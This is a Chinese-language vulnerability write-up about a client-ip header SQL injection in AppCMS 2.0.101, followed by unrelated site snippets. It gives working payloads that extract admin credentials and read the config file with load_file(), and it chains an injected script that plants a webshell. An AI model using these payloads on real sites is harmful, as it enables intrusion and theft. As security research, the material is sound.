目錄
0x00 前言
0x01 漏洞分析--代碼審計
0x02 漏洞利用
1.sql注入出后臺賬號、密碼、安全碼
2.二次漏洞利用:sql注入+csrf getshell
0x03 漏洞修復
-----從sql注入到csrf最后getshell----
0x00 前言
CNVD公布日期2017-08-15
http://www.cnvd.org.cn/flaw/show/CNVD-2017-13891
漏洞影響版本 appCMS <=2.0.101
APPCMS官方站點:http://www.appcms.cc/
AppCMS 2.0.101版本
完整包下載地址:http://www.appcms.cc/download/appcms_2.0.101.zip
CNVD公布只介紹了comment.php文件存在sql注入,并沒有公開詳細的描述,下面筆者進行代碼審計深入分析一下并對其進行漏洞利用介紹。
0x01 漏洞分析后的總結
漏洞發生在comment.php文件的第79行,$fields['ip']的值滿足用戶可控且數據未經過安全處理直接拼接傳入SQL語句,造成了insert注入。
$fields['ip']的值就是http頭client-ip字段的值,我們可以通過burp抓包來控制。
下面是漏洞分析詳細過程:
CNVD上說的在comment.php文件中有一個SQL注入漏洞,所以可以先關注comment.php文件中涉及SQL操作的代碼
經過分析發現漏洞發生在comment.php文件的第79行,
$fields['ip']的值滿足用戶可控且數據未經過安全處理直接拼接傳入SQL語句,造成了insert注入。
分析helper :: getip()
getenv — 獲取一個環境變量的值
string getenv ( string $varname )
使用 phpinfo() 你可以看到所有環境變量的列表。
參數
varname 變量名。
返回值:返回環境變量 varname 的值, 如果環境變量 varname 不存在則返回 FALSE。
getenv('HTTP_CLIENT_IP')也就是獲取傳遞過去的CLIENT_IP的值,即在請求包中http頭的client_ip字段對應的值,也就是這里導致了我們可以輸入用戶可控的數據。
int strcasecmp ( string $str1 , string $str2 ) 二進制安全比較字符串(不區分大小寫)。
參數
str1 第一個字符串。
str2 第二個字符串。
返回值 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果兩者相等,返回 0。
$onlineip = '';
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown'))
{$onlineip = getenv('HTTP_CLIENT_IP');}
這里的意思就是當client_ip存在而且getenv('HTTP_CLIENT_IP')的返回值不為unknown時,就會直接把client_ip的值賦值給$onlineip 變量。
分析single_insert()--在upload/core/database.class.php第102行
substr — 返回字符串的子串
string substr ( string $string , int $start [, int $length ] )
返回字符串 string 由 start 和 length 參數指定的子字符串。
參數
string 輸入字符串。必須至少有一個字符。
start 如果 start 是非負數,返回的字符串將從 string 的 start 位置開始,從 0 開始計算。例如,在字符串 “abcdef” 中,在位置 0 的字符是 “a”,位置 2 的字符串是 “c” 等等。
如果 start 是負數,返回的字符串將從 string 結尾處向前數第 start 個字符開始。
如果 string 的長度小于 start,將返回 FALSE。
foreach($fields as $key => $value) { $sql_field .= ",$key"; $sql_value .= ",'$value'"; } $sql_field = substr($sql_field, 1); $sql_value = substr($sql_value, 1);
這里主要是需要把開頭那個多余的逗號給截斷掉,這樣就能夠正確的拼接進sql語句當中了。
分析到這里傳進來的client_ip變量都沒有出現被過濾的情況
分析query_insert()
這里直接就拼接執行了,對于client_ip變量從頭到尾什么過濾都沒做
總結一下:
漏洞發生在comment.php文件的第79行,$fields['ip']的值滿足用戶可控且數據未經過安全處理直接拼接傳入SQL語句,造成了insert注入。
$fields['ip']的值就是http頭client-ip字段的值,我們可以通過burp抓包來控制。
0x02漏洞利用
一、sql注入出后臺賬號、密碼、安全碼
發表評論的頁面在
http://127.0.0.1/appcms_2.0.101/index.php?tpl=content_app&id=1
(這個找了好久啊啊!!真是哭死!)
這一個頁面是動態生成的,我把這個頁面的html源碼復制下來到本地分析,發現除了user 驗證碼和comment外,還有三個隱含的參數也需要提交,id,type,parent_id(當然也可以先直接抓個包分析一下,這樣更快捷!更準確!)
對比一下
可以看到,現在我們的sql語句也已經打印出來了。
經過測試知道,驗證碼錯誤的返回碼code為140,而發表成功的code返回值為0
這里經過多次嘗試在burp中不改變請求包中的驗證碼的值多次提交過去,能夠得到code:0的回顯的,也就是這里這個驗證碼驗證是可以被繞過的!直接提交一次之后不變就可以了。(但前提是原來的頁面不要去刷新它,不然驗證碼就失效了。直接使用burp的repeater來重放包)
可以看到,這里確實是被成功注入了的!
注意:這里注入的時候使用的是 client-ip而不是client_ip,不要混淆了php中獲取時使用的getenv('HTTP_CLIENT_IP') 這里才是用下劃線,而請求包中應該使用橫桿-
(1)一些知識
原來的test1表中的內容
執行了
insert into test1(id,name,pwd) values(5,'mmm','mmmpwd'),(6,'jjj','jjjpwd');后
相當于同時執行了兩條插入語句。
正是由于MySQL中的這個特性導致了這里可以注入成功(可以允許使用逗號來分隔實現同時插入多條數據)
(2) 構造payload獲取用戶名密碼
所以可以直接使用如下的語句將查詢結果插入到content和uname,然后回顯到前臺的用戶名和回復內容位置。
PAYLOAD:
client-ip:2.2.2.2'),('1','0','0',(select upass from appcms_admin_list where uid='1'),(select uname from appcms_admin_list where uid='1'),'1511885595817',1)#)
分析過程如下
insert into appcms_comment (id,type,parent_id,content,uname,date_add,ip) values ('1','0','0','aaaaaaaaaaaaaaaaaa','jaivy','1511926381','127.0.0.1');
然后觀察評論的回顯
可以看到有幾個地方是在插入了數據之后又回顯出來的,
content,uname,date_add和ip
所以這里我們可以選擇content和uname這兩個地方作為數據的回顯
insert into appcms_comment (id,type,parent_id,content,uname,date_add,ip) values ('1','0','0','charuliangtiao','jaivy','1511926381','2.2.2.2'),('1','0','0',(select upass from appcms_admin_list where uid='1'),(select uname from appcms_admin_list where uid='1'),'1511885595817',1)#)
這樣的話我們就能夠使用insert注入成功,把后臺賬號插進了uname字段,把后臺密碼插進了content字段,又由于appcms的后臺會把uname和content里面的內容取出來回顯,所以我們就能得到后臺的賬號密碼了。
值得注意的是,我們上面的插入是在id=1這個頁面,如果我們希望在id=2這個頁面插入數據并看到回顯的話,我們要做相應的修改,這里的appcms_comment
表有個id字段,我們要把對應的值改一下就可以了。
即sql語句改成如下這樣
這里得到的密碼是經過加密的,根據admin/index.php中的這條判斷我們知道后臺的密碼是經過password_encrypt這個函數加密的
所以解密過程就是要進行三次md5解密
(3)構造payload獲取安全碼
此時就獲得到站點的用戶名和密碼,接下來要獲取安全碼,這里使用mysql的load_file()來讀取coreconfig.php文件,安全碼等敏感信息就在該文件里面。
可以使用去掉payload后面的#導致報錯等方式得到網站的絕對路徑,因為在coreinit.php中默認開啟了錯誤提示,所以可以利用錯誤信息得到絕對路徑。
得到了core文件夾的絕對路徑,所以我們就能知道要讀取的文件的絕對路徑為
E:phpStudyWWWappcms_2.0.101coreconfig.php
注意使用loadfile讀取文件的時候應該使用雙重反斜杠(進行轉義)
還有就是這里content列是使用varchar,長度是500,所以直接使用load_file()是無法獲得安全碼的,因此使用了substr進行了截斷,截斷范圍大致是 從480開始 然后截斷400個字符長度,此處沒有精準計算,但是已經將安全碼寫到content列中了。
PAYLOAD:
client-ip:1.1.1.1'),('1','0','0',(substr(load_file('E:\phpStudy\WWW\appcms_2.0.101\core\config.php'),480,400)),'jaivy','1511942803','11.11.11.11')#
可以看到安全碼已經被注入出來了 這里是 123456
此時已經得到用戶名,密文密碼,安全碼,但是APPCMS安裝完畢后強制更改后臺地址,所以就是拿到這3個敏感信息也難以登錄后進行其他操作
在admin/index.php中有以下邏輯
二、二次漏洞利用:sql注入+csrf getshell
下面利用結合sql注入和csrf進行寫馬操作。
先構造好我們的惡意js,并存放在
http://127.0.0.1/xss/jaivy_test2.js 這個路徑下
接著我們回到評論頁面,發表評論,如圖
接著我們模擬管理員登錄后臺并查看并審核用戶發表的評論
模擬管理員訪問頁面http://127.0.0.1/appcms_2.0.101/houtai/comment.php
為了更好的理解這個過程,我們對這個過程進行抓包分析一下
管理員訪問頁面http://127.0.0.1/appcms_2.0.101/houtai/comment.php
點擊一下forward,這時自動執行了我們的惡意js,創建一個muma.php文件
再點擊一下forward,這時是、向muma.php文件中寫入一句話木馬
我們這個js腳本寫入的木馬的相對路徑在
templates/default/muma.php
這里我們可以結合sql注入報錯來組合得到完整的路徑信息,在client-ip字段加一個單引號就可以報錯了
所以最后拼接得到的木馬的路徑為
http://127.0.0.1/appcms_2.0.10/templates/default/muma.php
為了驗證,我們這里查看一下這個路徑下是否有個muma.php文件,并查看里面的內容。
確實是成功寫入了,下面就直接使用菜刀連接就可以了。
0x03漏洞修復
因為這里的核心原因是沒有對$fields['ip'] 這個變量做過濾,也沒有檢查它是否合法,所以這里簡單的給出一個修復方案,在comment.php的79行后面添加兩行代碼,如圖
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
郴州十佳樓盤?根據2022年11月14-20日145套房屋的總成交量,總面積15878平方米,總金額8790萬元,均價5537元/平方米。十大賣家是:。排名項目板塊面積m2套數東華雅苑東25號1樓14862武陵,忠良之都10 11473五菱清遠五菱9 9094美的云溪府梨樹山8棟10685鳳凰明帝城東6 6586東西臺東5 613史圣華庭東5區7號6328文際羅先5 6009中鐵嶺南大廈五菱4棟5...
360瀏覽器如何恢復歷史記錄?360瀏覽器發歷史記錄方法萬分感謝:1、簡單的方法然后打開電腦可以找到360瀏覽器,可以打開瀏覽器后直接點擊右上角的三條杠菜單選項2、再點后在自動彈出的頁面點擊你選歷史這個選項3、之后點擊左邊的日期就也可以參與恢復記錄,那樣的話完全恢復360瀏覽器歷史記錄的問題就能解決了。360瀏覽器怎么找回歷史瀏覽記錄?簡單的方法你可以打開你的360瀏覽器,然后再可以找到上方的一個...
沈陽最大的寵物用品批發市場在哪里?沈陽塔灣寵物市場位于皇姑區昆山西路246號,西二環橋下。步行至興華街北二路站,乘坐208路,在寵物市場站下車。沈陽寵物用品批發市場在哪?位于沈陽南站出站口站臺,向北走200米,然后在街對面乘坐208路公交車到寵物市場下車,也就是在火車北站乘坐209路公交車或者直接在寵物市場下車。沈陽市賣寵物用品的地址?沈陽最大的寵物市場在塔灣(乘坐209、228路公交車可直達)。...